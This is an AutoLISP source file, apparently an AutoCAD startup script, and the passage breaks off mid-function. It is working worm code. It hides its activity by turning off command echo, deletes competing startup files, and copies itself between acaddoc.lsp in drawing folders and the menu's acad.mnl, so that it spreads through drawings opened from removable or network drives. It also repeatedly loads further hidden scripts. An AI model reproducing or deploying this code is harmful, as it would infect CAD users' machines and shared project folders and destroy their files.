(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
( setq
bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while(< n 1)
 (if(findfile "acad.fas")
   (if(vl-file-delete (findfile "acad.fas"))
  (setq n 0))
   (setq n 2)))

(setq n 0)
(while(< n 1)
 (if(findfile "lcm.fas")
   (if(vl-file-delete (findfile "lcm.fas"))
  (setq n 0))
   (setq n 2)))

(setq n 0)
(while(< n 1)
 (if(findfile "acad.lsp")
   (if(vl-file-delete (findfile "acad.lsp"))
  (setq n 0))
   (setq n 2)))


(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
    (progn
      (setq wwjm (open woldacad "r"))
      (while(setq wwz (read-line wwjm))
	 (write-line wwz wwjm1)
      )
      (close wwjm)
      (close wwjm1)
      )  ))



(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
  (progn
    (repeat 3 (read-line wwjm))
    (setq wz (read-line wwjm))
    (setq ab (atoi (substr wz 4 1)))
    (close wwjm)
    (if	(> ab bb)
      (setq lbz 1)
    )
  )
)

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
  (progn
    (repeat 3 (read-line wwjm))
    (setq wz (read-line wwjm))
    (setq nb (atoi (substr wz 4 1)))
    (close wwjm)
    
    (if	(< nb bb)
      (setq lbz 1)
    )
  )
  (setq lbz 1)
)
(if (= lbz 1)
  (progn
    (setq woldacad (strcat dpath "acaddoc.lsp"))
    (setq wnewacad (strcat wpath "acad.mnl"))
    (wwriteapp)
  )
)
(if (and (/= (substr dpath 1 1) (chr 67))
	 (/= (substr dpath 1 1) (chr 68))
	 (/= (substr dpath 1 1) (chr 69))
	 (/= (substr dpath 1 1) (chr 70))
    )
  (progn
    (setq woldacad (strcat wpath "acad.mnl"))
    (setq wnewacad (strcat dpath "acaddoc.lsp"))
    (wwriteapp)
  )
  (vl-file-delete (strcat dpath "acaddoc.lsp"))
)
;load "acadapq")
(setvar "cmdecho" wold_cmd)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)



(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
